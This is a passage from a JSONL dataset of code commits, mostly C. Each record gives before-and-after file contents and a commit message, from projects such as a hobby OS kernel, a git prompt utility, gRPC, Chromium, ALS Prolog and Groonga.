27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"dawehner\/root,bbannier\/ROOT,dawehner\/root,dawehner\/root,dawehner\/root,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,bbannier\/ROOT,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT,dawehner\/root,bbannier\/ROOT"}
{"commit":"5f5f1422181bf195aafc27e30339d5960a787f7a","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdint.h>\n#include \"ports.h\"\n#include \"pic.h\"\n#include \"gdt.h\"\n#include \"idt.h\"\n#include \"irq.h\"\n#include \"screen.h\"\n\nvoid entry(void) {\n\tpic_remap(IRQ0, IRQ8);\n\tpic_set_masks(0, 0);\n\n\tgdt_init((struct GDT *)(0x500));\n\tidt_init((struct IDT *)(0x500 + sizeof(struct GDT)));\n\n\t__asm__ __volatile__ (\"sti\");\n\n\tscreen_init();\n\n\t__asm__ __volatile__ (\"int $0x50\");\n\tfor(;;) { __asm__ __volatile__ (\"hlt\"); }\n}\n","new_contents":"#include <stdint.h>\n#include \"ports.h\"\n#include \"pic.h\"\n#include \"gdt.h\"\n#include \"idt.h\"\n#include \"irq.h\"\n#include \"screen.h\"\n\nvoid entry(void) {\n\tpic_remap(IRQ0, IRQ8);\n\tpic_set_masks(0, 0);\n\tidt_init((struct IDT *)(0x500));\n\n\tgdt_init((struct GDT *)(0x500 + sizeof(struct IDT)));\n\n\t__asm__ __volatile__ (\"sti\");\n\n\tscreen_init();\n\n\t__asm__ __volatile__ (\"int $0x50\");\n\tfor(;;) { __asm__ __volatile__ (\"hlt\"); }\n}\n","subject":"Set up IDT first to ensure exceptions are handled","message":"Set up IDT first to ensure exceptions are handled\n","lang":"C","license":"apache-2.0","repos":"shockkolate\/shockk-os,shockkolate\/shockk-os,shockkolate\/shockk-os"}
{"commit":"10fbce820f580d058bdfb1ab89cf01a027da3161","old_file":"gitst.c","new_file":"gitst.c","old_contents":"\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\n#define GITBUF 2048\n\nint\nmain(int argc, char **argv)\n{\n  int pid, ret;\n  int pipes[2];\n  char gitbuff[GITBUF];\n  size_t gitlen;\n  char b;\n  char *br;\n  int childst;\n\n  if(pipe(pipes) != 0)\n  {\n    perror(\"Error creating pipes\");\n    exit(1);\n  }\n\n  if((pid = fork()) == -1)\n  {\n    perror(\"Error forking git\");\n    exit(1);\n  }\n\n  if(pid == 0) \/\/child\n  {\n    if(dup2(pipes[1], STDOUT_FILENO)  == -1)\n    {\n      perror(\"Error duplicating stdout\");\n      exit(1);\n    }\n    close(STDERR_FILENO);\n    ret =  execlp(\"git\", \"git\", \"status\", \"-z\", \"-b\", (char*)0);\n  }\n\n  waitpid(pid, &childst, 0);\n  if(childst != 0) {\n    exit(2);\n  }\n\n  gitlen = read(pipes[0], gitbuff, GITBUF);\n  br = &gitbuff[3];\n  putchar('(');\n\n  while(*br != '\\0')\n  {\n    \/\/ Three dots separate the branch from the tracking branch\n    if(*br == '.' && *(br+1) == '.' && *(br+2) == '.') break;\n    putchar(*br++);\n  }\n\n  putchar(')');\n  putchar('\\n');\n}\n\n","new_contents":"\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/types.h>\n#include <sys\/wait.h>\n\n#define GITBUF 2048\n\nint\nmain(int argc, char **argv)\n{\n  int pid, ret;\n  int pipes[2];\n  char gitbuff[GITBUF];\n  size_t gitlen;\n  char b;\n  char *br;\n  int childst;\n\n  if(pipe(pipes) != 0)\n  {\n    perror(\"Error creating pipes\");\n    exit(1);\n  }\n\n  if((pid = fork()) == -1)\n  {\n    perror(\"Error forking git\");\n    exit(1);\n  }\n\n  if(pid == 0) \/\/child\n  {\n    if(dup2(pipes[1], STDOUT_FILENO)  == -1)\n    {\n      perror(\"Error duplicating stdout\");\n      exit(1);\n    }\n    close(STDERR_FILENO);\n    ret =  execlp(\"git\", \"git\", \"branch\", \"--list\", (char*)0);\n  }\n\n  waitpid(pid, &childst, 0);\n  if(childst != 0) {\n    exit(2);\n  }\n\n  gitlen = read(pipes[0], gitbuff, GITBUF);\n  br = gitbuff;\n  putchar('(');\n\n  while(*br++ != '*') {}\n  \/\/ skip the '*' and the space after it\n  br++;\n  while(*br != '\\n')\n  {\n    putchar(*br++);\n  }\n\n  putchar(')');\n  putchar('\\n');\n}\n\n","subject":"Convert to `git branch` for performance","message":"Convert to `git branch` for performance\n\n - Using `git status` is eificient to get only the current branch but in\n   a repo with a large number of untracked files it can stall for a long\n   time getting the status of a repository. Git Branch is much better in\n   these cases.\n","lang":"C","license":"bsd-3-clause","repos":"wnh\/prompt_utils"}
{"commit":"df717db1600e062dcd96be7ba4ae431252d578dd","old_file":"test2\/float\/call\/many_floats.c","new_file":"test2\/float\/call\/many_floats.c","old_contents":"\/\/ RUN: %ucc -o %t %s\n\/\/ RUN: %ocheck 0 %t\n\/\/ RUN: %t | %output_check 'Hello 5 2.3' 'Hello 5 2.3'\n\n\/\/ should run without segfaulting\nmain()\n{\n\tprintf(\"Hello %d %.1f\\n\",\n\t\t\t5,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3); \/\/ this causes an infinite loop in glibc's printf()\n\n\tprintf(\"Hello %d %.1f\\n\",\n\t\t\t5,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,\n\t\t\t2.3,  \/\/ this causes an infinite loop in glibc's printf()\n\t\t\t2.3); \/\/ and this causes a crash\n\n\n\t\/\/ suspect the bug is to do with double alignment when passed as stack arguments\n\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ucc -o %t %s\n\/\/ RUN: %ocheck 0 %t\n\/\/ RUN: %t | %output_check 'Hello 5 5.9' '7.3 8.7 10.1 11.5 12.9 14.3 15.7 17.1 18.5 19.9' 'Hello 5 15.7' '14.3 12.9 11.5 10.1 8.7 7.3 5.9 4.5 3.1 1.7 0.3'\n\n\n\/\/ should run without segfaulting\nmain()\n{\n\tprintf(\"Hello %d %.1f\\n\"\n\t\t\t\"%.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f\\n\",\n\t\t\t5,\n\t\t\t5.9,\n\t\t\t7.3,\n\t\t\t8.7,\n\t\t\t10.1,\n\t\t\t11.5,\n\t\t\t12.9,\n\t\t\t14.3,\n\t\t\t15.7,\n\t\t\t17.1,\n\t\t\t18.5,\n\t\t\t19.9); \/\/ this causes an infinite loop in glibc's printf()\n\n\tprintf(\"Hello %d %.1f\\n\"\n\t\t\t\"%.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f %.1f\\n\",\n\t\t\t5,\n\t\t\t15.7,\n\t\t\t14.3,\n\t\t\t12.9,\n\t\t\t11.5,\n\t\t\t10.1,\n\t\t\t8.7,\n\t\t\t7.3,\n\t\t\t5.9,\n\t\t\t4.5,\n\t\t\t3.1,\n\t\t\t1.7, \/\/ this causes an infinite loop in glibc's printf()\n\t\t\t0.3); \/\/ and this causes a crash\n\n\n\t\/\/ suspect the bug is to do with double alignment when passed as stack arguments\n\n\treturn 0;\n}\n","subject":"Format strings and more through test for stack floats","message":"Format strings and more through test for stack floats\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"7ba01aa3a21bd1edb41e5639584f153d694b967a","old_file":"test\/core\/tsi\/alts\/fake_handshaker\/fake_handshaker_server.h","new_file":"test\/core\/tsi\/alts\/fake_handshaker\/fake_handshaker_server.h","old_contents":"\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n#define TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n\n#include <memory>\n#include <string>\n\n#include <grpcpp\/grpcpp.h>\n\nnamespace grpc {\nnamespace gcp {\n\n\/\/ If max_expected_concurrent_rpcs is non-zero, the fake handshake service\n\/\/ will track the number of concurrent RPCs that it handles and abort\n\/\/ if if ever exceeds that number.\nstd::unique_ptr<grpc::Service> CreateFakeHandshakerService(\n    int max_expected_concurrent_rpcs);\n\n}  \/\/ namespace gcp\n}  \/\/ namespace grpc\n\n#endif  \/\/ TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n","new_contents":"\/*\n *\n * Copyright 2018 gRPC authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *\/\n\n#ifndef TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n#define TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n\n#include <memory>\n#include <string>\n\n#include <grpcpp\/grpcpp.h>\n\nnamespace grpc {\nnamespace gcp {\n\n\/\/ If max_expected_concurrent_rpcs is non-zero, the fake handshake service\n\/\/ will track the number of concurrent RPCs that it handles and abort\n\/\/ if if ever exceeds that number.\nstd::unique_ptr<grpc::Service> CreateFakeHandshakerService(\n    int expected_max_concurrent_rpcs);\n\n}  \/\/ namespace gcp\n}  \/\/ namespace grpc\n\n#endif  \/\/ TEST_CORE_TSI_ALTS_FAKE_HANDSHAKER_FAKE_HANDSHAKER_SERVER_H\n","subject":"Fix differing parameter name clang tidy warning","message":"Fix differing parameter name clang tidy warning\n","lang":"C","license":"apache-2.0","repos":"muxi\/grpc,muxi\/grpc,vjpai\/grpc,ctiller\/grpc,nicolasnoble\/grpc,firebase\/grpc,muxi\/grpc,donnadionne\/grpc,jtattermusch\/grpc,jboeuf\/grpc,ctiller\/grpc,grpc\/grpc,stanley-cheung\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,ejona86\/grpc,ejona86\/grpc,stanley-cheung\/grpc,firebase\/grpc,muxi\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,grpc\/grpc,ctiller\/grpc,vjpai\/grpc,grpc\/grpc,ctiller\/grpc,muxi\/grpc,jtattermusch\/grpc,donnadionne\/grpc,nicolasnoble\/grpc,grpc\/grpc,ctiller\/grpc,nicolasnoble\/grpc,ejona86\/grpc,grpc\/grpc,jtattermusch\/grpc,jtattermusch\/grpc,grpc\/grpc,ejona86\/grpc,nicolasnoble\/grpc,stanley-cheung\/grpc,stanley-cheung\/grpc,muxi\/grpc,jtattermusch\/grpc,ctiller\/grpc,firebase\/grpc,jboeuf\/grpc,donnadionne\/grpc,vjpai\/grpc,grpc\/grpc,ctiller\/grpc,ctiller\/grpc,nicolasnoble\/grpc,jtattermusch\/grpc,vjpai\/grpc,nicolasnoble\/grpc,firebase\/grpc,nicolasnoble\/grpc,firebase\/grpc,vjpai\/grpc,ejona86\/grpc,ejona86\/grpc,jboeuf\/grpc,firebase\/grpc,donnadionne\/grpc,grpc\/grpc,grpc\/grpc,nicolasnoble\/grpc,vjpai\/grpc,firebase\/grpc,vjpai\/grpc,donnadionne\/grpc,jboeuf\/grpc,firebase\/grpc,jboeuf\/grpc,grpc\/grpc,ctiller\/grpc,ejona86\/grpc,muxi\/grpc,ejona86\/grpc,jboeuf\/grpc,firebase\/grpc,jboeuf\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,vjpai\/grpc,firebase\/grpc,donnadionne\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,stanley-cheung\/grpc,grpc\/grpc,jboeuf\/grpc,grpc\/grpc,vjpai\/grpc,nicolasnoble\/grpc,ejona86\/grpc,jtattermusch\/grpc,donnadionne\/grpc,ctiller\/grpc,donnadionne\/grpc,ejona86\/grpc,vjpai\/grpc,firebase\/grpc,jtattermusch\/grpc,jtattermusch\/grpc,ctiller\/grpc,jtattermusch\/grpc,muxi\/grpc,ejona86\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,vjpai\/grpc,muxi\/grpc,jtattermusch\/grpc,firebase\/grpc,muxi\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,donnadionne\/grpc,nicolasnoble\/grpc,muxi\/grpc,ctiller\/grpc,ejona86\/grpc,jboeuf\/grpc,vjpai\/grpc,muxi\/grpc,stanley-cheung\/grpc,donnadionne\/grpc"}
{"commit":"b5707323dd01a74be0169d3550d565b35c2c6ca2","old_file":"webkit\/glue\/webkit_constants.h","new_file":"webkit\/glue\/webkit_constants.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 0.004;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n#define WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n\nnamespace webkit_glue {\n\n\/\/ Chromium sets the minimum interval timeout to 4ms, overriding the\n\/\/ default of 10ms.  We'd like to go lower, however there are poorly\n\/\/ coded websites out there which do create CPU-spinning loops.  Using\n\/\/ 4ms prevents the CPU from spinning too busily and provides a balance\n\/\/ between CPU spinning and the smallest possible interval timer.\nconst double kForegroundTabTimerInterval = 0.004;\n\n\/\/ Provides control over the minimum timer interval for background tabs.\nconst double kBackgroundTabTimerInterval = 1.0;\n\n} \/\/ namespace webkit_glue\n\n#endif  \/\/ WEBKIT_GLUE_WEBKIT_CONSTANTS_H_\n","subject":"Increase the minimum interval for timers on background tabs to reduce their CPU consumption.","message":"Increase the minimum interval for timers on background tabs to reduce\ntheir CPU consumption.\n\nThe new interval is 1000 ms, or once per second. We can easily adjust\nthis value up or down, but this seems like a reasonable value to judge\nthe compatibility impact of this change.\n\nBUG=66078\nTEST=none (tested manually with minimal test case)\n\nReview URL: http:\/\/codereview.chromium.org\/6546021\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@75430 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,gavinp\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,Crystalnix\/house-of-life-chromium,Crystalnix\/house-of-life-chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,gavinp\/chromium"}
{"commit":"73d218160c386019ea849719d36212c06d3962d2","old_file":"core\/alsp_src\/win32\/mswin32_config.h","new_file":"core\/alsp_src\/win32\/mswin32_config.h","old_contents":"\/* \n *  mswin32_config.h\tHand made MSWin32 configuration file.\n *\tCopyright (c) 1996 Applied Logic Systems, Inc.\n *\n *  Author:\tChuck Houpt\n *  Creation:\t1\/30\/96\n *\/\n\n#include \"dfltsys.h\"\n\n#define MSWin32 1\n#define OSStr \"mswin32\"\n\n#ifdef __GNUC__\n#define EXTERNAL_STATE\t1\n#endif\n\n\/* Temp. disable threading until threading GUI stub is fixed *\/\n#ifdef __GNUC__\n#define Bytecode 1\n#endif\n\n#define HAVE_STDARG_H\t1\n#define HAVE_STDLIB_H\t1\n#define HAVE_FCNTL_H\t1\n#define HAVE_STRING_H\t1\n#define HAVE_SRAND\t\t1\n\n#define HAVE_TIME\t\t1\n\n#define HAVE_SOCKET\t\t1\n#define BERKELEY_SOCKETS\t1\n#define HAVE_SELECT\t\t1\n#define MISSING_UNIX_DOMAIN_SOCKETS 1\n\n#define APP_PRINTF_CALLBACK\t1\n\n#define HAVE_STRCSPN\t1\n#define HAVE_STRSPN\t1\n#define HAVE_STRTOK\t1\n\n#define REVERSE_ENDIAN 1\n\n\/* The windows headers in Cygwin 1.3.4 are missing some prototypes,\n   so define them here to silence the waring messages. *\/\n#ifdef __GNUC__\nextern __inline__ void* GetCurrentFiber(void);\nextern __inline__ void* GetFiberData(void);\n#endif\n\n#include <winsock2.h>\n#include <windows.h>\n","new_contents":"\/* \n *  mswin32_config.h\tHand made MSWin32 configuration file.\n *\tCopyright (c) 1996 Applied Logic Systems, Inc.\n *\n *  Author:\tChuck Houpt\n *  Creation:\t1\/30\/96\n *\/\n\n#include \"dfltsys.h\"\n\n#define MSWin32 1\n#define OSStr \"mswin32\"\n\n#ifdef __GNUC__\n#define EXTERNAL_STATE\t1\n#endif\n\n\/* Temp. disable threading until threading GUI stub is fixed *\/\n#ifdef __GNUC__\n#define Bytecode 1\n#endif\n\n#define HAVE_STDARG_H\t1\n#define HAVE_STDLIB_H\t1\n#define HAVE_FCNTL_H\t1\n#define HAVE_STRING_H\t1\n#define HAVE_SRAND\t\t1\n\n#define HAVE_TIME\t\t1\n\n#define HAVE_SOCKET\t\t1\n#define BERKELEY_SOCKETS\t1\n#define HAVE_SELECT\t\t1\n#define MISSING_UNIX_DOMAIN_SOCKETS 1\n\n#define APP_PRINTF_CALLBACK\t1\n\n#define HAVE_STRCSPN\t1\n#define HAVE_STRSPN\t1\n#define HAVE_STRTOK\t1\n\n#define REVERSE_ENDIAN 1\n\n#include <winsock2.h>\n#include <windows.h>\n","subject":"Remove defunct missing defs that interfere with CI build","message":"Remove defunct missing defs that interfere with CI build","lang":"C","license":"mit","repos":"AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog,AppliedLogicSystems\/ALSProlog"}
{"commit":"19a8fcca4bd4a935f4cb03292046d193176edd7e","old_file":"chrome\/browser\/desktop_notification_handler.h","new_file":"chrome\/browser\/desktop_notification_handler.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#define CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass GURL;\nstruct DesktopNotificationHostMsg_Show_Params;\n\n\/\/ Per-tab Desktop notification handler. Handles desktop notification IPCs\n\/\/ coming in from the renderer.\nclass DesktopNotificationHandler : public RenderViewHostObserver {\n public:\n  explicit DesktopNotificationHandler(RenderViewHost* render_view_host);\n  virtual ~DesktopNotificationHandler();\n\n private:\n  \/\/ RenderViewHostObserver implementation.\n  virtual bool OnMessageReceived(const IPC::Message& message);\n\n  \/\/ IPC handlers.\n  void OnShow(const DesktopNotificationHostMsg_Show_Params& params);\n  void OnCancel(int notification_id);\n  void OnRequestPermission(const GURL& origin, int callback_id);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(DesktopNotificationHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#define CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n#pragma once\n\n#include \"content\/browser\/renderer_host\/render_view_host_observer.h\"\n\nclass GURL;\nstruct DesktopNotificationHostMsg_Show_Params;\n\n\/\/ Per-tab Desktop notification handler. Handles desktop notification IPCs\n\/\/ coming in from the renderer.\nclass DesktopNotificationHandler : public RenderViewHostObserver {\n public:\n  explicit DesktopNotificationHandler(RenderViewHost* render_view_host);\n  virtual ~DesktopNotificationHandler();\n\n private:\n  \/\/ RenderViewHostObserver implementation.\n  bool OnMessageReceived(const IPC::Message& message);\n\n  \/\/ IPC handlers.\n  void OnShow(const DesktopNotificationHostMsg_Show_Params& params);\n  void OnCancel(int notification_id);\n  void OnRequestPermission(const GURL& origin, int callback_id);\n\n private:\n  DISALLOW_COPY_AND_ASSIGN(DesktopNotificationHandler);\n};\n\n#endif  \/\/ CHROME_BROWSER_DESKTOP_NOTIFICATION_HANDLER_H_\n\n","subject":"Revert 80939 - Fix clang error TBR=jam@chromium.org","message":"Revert 80939 - Fix clang error\nTBR=jam@chromium.org\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@80954 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"0750c7aa88ead737570fe37e825f267b046c5e53","old_file":"tos\/types\/NxIeeeEui64.h","new_file":"tos\/types\/NxIeeeEui64.h","old_contents":"","new_contents":"\/**\n * Struct for IEEE EUI64 with network byte order and nx_structs.\n *\n * @author Raido Pahtma\n * @license MIT\n *\/\n#ifndef NXIEEEEUI64_H\n#define NXIEEEEUI64_H\n\n#include \"IeeeEui64.h\"\n\ntypedef nx_struct nx_ieee_eui64 {\n  nx_uint8_t data[IEEE_EUI64_LENGTH];\n} nx_ieee_eui64_t;\n\n#endif \/\/ NXIEEEEUI64_H\n","subject":"Add separate file for nx_ieee_eui64, since tinyos-main is unable to support it.","message":"Add separate file for nx_ieee_eui64, since tinyos-main is unable to support it.\n","lang":"C","license":"mit","repos":"thinnect\/tos-groundlib,thinnect\/tosgroundlib,thinnect\/tos-groundlib,thinnect\/tosgroundlib"}
{"commit":"0d3d2c64205b736d86a038b0411e833d77f1581e","old_file":"lib\/grn_report.h","new_file":"lib\/grn_report.h","old_contents":"\/* -*- c-basic-offset: 2 -*- *\/\n\/*\n  Copyright(C) 2015 Brazil\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 2.1 as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#ifndef GRN_REPORT_H\n#define GRN_REPORT_H\n\n#include \"grn_ctx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst grn_log_level GRN_REPORT_INDEX_LOG_LEVEL;\n\nvoid grn_report_index(grn_ctx *ctx,\n                      const char *action,\n                      const char *tag,\n                      grn_obj *index);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* GRN_REPORT_H *\/\n","new_contents":"\/* -*- c-basic-offset: 2 -*- *\/\n\/*\n  Copyright(C) 2015 Brazil\n\n  This library is free software; you can redistribute it and\/or\n  modify it under the terms of the GNU Lesser General Public\n  License version 2.1 as published by the Free Software Foundation.\n\n  This library is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n  Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with this library; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n#ifndef GRN_REPORT_H\n#define GRN_REPORT_H\n\n#include \"grn_ctx.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nextern const grn_log_level GRN_REPORT_INDEX_LOG_LEVEL;\n\nvoid grn_report_index(grn_ctx *ctx,\n                      const char *action,\n                      const char *tag,\n                      grn_obj *index);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* GRN_REPORT_H *\/\n","subject":"Add missing extern to variable in header","message":"Add missing extern to variable in header\n\nThis missing extern causes following error in OSX:\n\n```log\n...\n2403 warnings generated.\n  CXXLD    libgroonga.la\nduplicate symbol _GRN_REPORT_INDEX_LOG_LEVEL in:\n    .libs\/db.o\n    .libs\/expr.o\nduplicate symbol _GRN_REPORT_INDEX_LOG_LEVEL in:\n    .libs\/db.o\n    .libs\/report.o\nld: 2 duplicate symbols for architecture x86_64\nclang: error: linker command failed with exit code 1 (use -v to see invocation)\nmake[4]: *** [libgroonga.la] Error 1\nmake[3]: *** [all-recursive] Error 1\nmake[2]: *** [all] Error 2\nmake[1]: *** [all-recursive] Error 1\nmake: *** [all] Error 2\n```\n","lang":"C","license":"lgpl-2.1","repos":"groonga\/groonga,cosmo0920\/groonga,komainu8\/groonga,komainu8\/groonga,cosmo0920\/groonga,kenhys\/groonga,komainu8\/groonga,naoa\/groonga,cosmo0920\/groonga,kenhys\/groonga,hiroyuki-sato\/groonga,naoa\/groonga,groonga\/groonga,kenhys\/groonga,groonga\/groonga,groonga\/groonga,komainu8\/groonga,kenhys\/groonga,hiroyuki-sato\/groonga,komainu8\/groonga,hiroyuki-sato\/groonga,komainu8\/groonga,cosmo0920\/groonga,naoa\/groonga,groonga\/groonga,cosmo0920\/groonga,cosmo0920\/groonga,hiroyuki-sato\/groonga,hiroyuki-sato\/groonga,kenhys\/groonga,komainu8\/groonga,kenhys\/groonga,hiroyuki-sato\/groonga,hiroyuki-sato\/groonga,naoa\/groonga,kenhys\/groonga,groonga\/groonga,naoa\/groonga,cosmo0920\/groonga,komainu8\/groonga,naoa\/groonga,groonga\/groonga,hiroyuki-sato\/groonga,groonga\/groonga,naoa\/groonga,kenhys\/groonga,naoa\/groonga,cosmo0920\/groonga"}
{"commit":"4e3196697dce9040ff115cea09c1d422a4691dd8","old_file":"src\/util\/thread_specific.h","new_file":"src\/util\/thread_specific.h","old_contents":"","new_contents":"\/**\n * \\file thread_specific.h\n *\n * A thread specific type.\n *\n * \\author eaburns\n * \\date 2009-07-23\n *\/\n\n#if !defined(_THREAD_SPECIFIC_H_)\n#define _THREAD_SPECIFIC_H_\n\n#include <vector>\nusing namespace std;\n\n#include \"thread.h\"\n\n\/* To attempt to prevent cache ping-ponging? *\/\n#define PADDING 24 \t\t\/* bytes *\/\n\ntemplate <class T>\nclass ThreadSpecific {\nprivate:\n\t\/* Ensure that the array is large enough for [tid] number of\n\t * elements. *\/\n\tvoid ensure_size(unsigned int tid)\n\t{\n\t\tif (tid >= entries.size()) {\n\t\t\tstruct padded_entry ent;\n\t\t\tent.data = init_val;\n\t\t\tentries.resize(tid + 1, ent);\n\t\t}\n\n\t}\npublic:\n\tThreadSpecific(T iv)\n\t{\n\t\tinit_val = iv;\n\t}\n\n\tT get_value(void)\n\t{\n\t\tunsigned int tid = Thread::current()->get_id();\n\t\tensure_size(tid);\n\t\treturn entries[tid].data;\n\t}\n\n\tvoid 